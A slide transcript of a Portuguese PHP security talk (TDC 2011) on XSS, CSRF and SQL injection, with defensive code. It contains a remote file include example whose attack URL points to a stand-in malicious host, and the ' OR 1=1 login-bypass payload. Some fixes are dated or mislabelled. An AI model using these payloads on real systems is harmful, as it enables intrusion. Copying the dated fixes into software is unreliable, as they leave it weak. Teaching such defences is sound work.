Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Segurança TDC 2011

  • Login to see the comments

Segurança TDC 2011

  1. 1. Mantenha suas aplicações protegidas contra usuários mal intencionados
  2. 2. Kinn Coelho Julião <ul><li>Kinn Coelho Julião
  3. 3. Gerente de projetos - RPM
  4. 4. Consultor em Software Livre
  5. 5. 7 anos de experiência em Desenvolvimento
  6. 6. Analista de Sistemas
  7. 7. Atuante e Participante das seguintes comunidades: </li><ul><li>PHP4ANDROID, PHPSP, PHPBR,
  8. 8. PHPPAIDÉGUA, Moodle.org e etc </li></ul><li>Palestrante de eventos como FISL, FLISOL, Software Freedom Day,
  9. 9. PHPConference, SOLISC e etc.
  10. 10. @kinncj, fb.com/kinncj, linkedin.com/in/kinncj </li></ul>
  11. 11. Tipos de ataques que iremos tratar <ul><li>XSS
  12. 12. CSRF
  13. 13. INJECTION </li></ul>
  14. 14. XSS
  15. 15. XSS <ul><li>JavaScript </li></ul>
  16. 16. XSS
  17. 17. XSS
  18. 19. XSS <ul><li>Include
  19. 20. <?php
  20. 21. include $_GET['pagina'];
  21. 22. // http://localhost/pagina=http://sitedomal.com/script.txt </li></ul>
  22. 23. XSS <ul><li>Include
  23. 24. <?php
  24. 25. $paginas = array('home','admin');
  25. 26. if(in_array($_GET['pagina'],$paginas)){
  26. 27. include “../paginas/”.$_GET['pagina'].”.php”;
  27. 28. }else{
  28. 29. echo “Ops, pagina nao encontrada”;
  29. 30. }
  30. 31. // http://localhost/pagina=http://sitedomal.com/script.txt </li></ul>
  31. 32. CSRF
  32. 33. CSRF <ul><?php session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; ?> <form action='pagina.php' method='post'> <ul><input type='text' name='texto' /> <input type='hidden' name='token' value=' <?=$token?> '/> <input type='submit' value='enviar'/> </form> </ul></ul>
  33. 34. CSRF <ul><?php session_start(); if($_SESSION['token'] != $_POST['token']){ die(“O formulário enviado é inválido”); } //Processamos o formulário caso a estrutura //IF não seja executada </ul>
  34. 35. SQL Injection
  35. 36. SQL Injection <ul><input type='text' name='usuario'/> <input type='text' name='senha'/> </ul>
  36. 37. SQL Injection
  37. 38. SQL Injection <ul><input type='text' name='usuario' value=” ' OR 1=1 ”/> <input type='text' name='senha' value=” ' OR 1=1 ”/> <li>SQL
  38. 39. $query_string = &quot;SELECT * FROM usuarios WHERE codigo = '{$usuario}' AND senha = '{$senha}'&quot;; </li></ul>
  39. 40. SQL Injection <ul><li>SQL
  40. 41. SELECT * FROM usuarios WHERE codigo = '' OR 1=1 AND senha = '' OR 1=1
  41. 42. PHP
  42. 43. $usuario = mysql_real_escape_string(addslashes($usuario));
  43. 44. $senha = mysql_real_escape_string(addslashes($senha));
  44. 45. $query_string = &quot;SELECT * FROM usuarios WHERE codigo = '{$usuario}' AND senha = '{$senha}'&quot; </li></ul>
  45. 46. SQL Injection <ul><li>PDO </li><ul><li>Prepared Statements </li></ul></ul>
  46. 47. Framework <ul><li>Symfony </li><ul><li>XSS
  47. 48. CSRF
  48. 49. Injection </li></ul></ul>
  49. 50. <ul><li>Perguntas? </li></ul>

×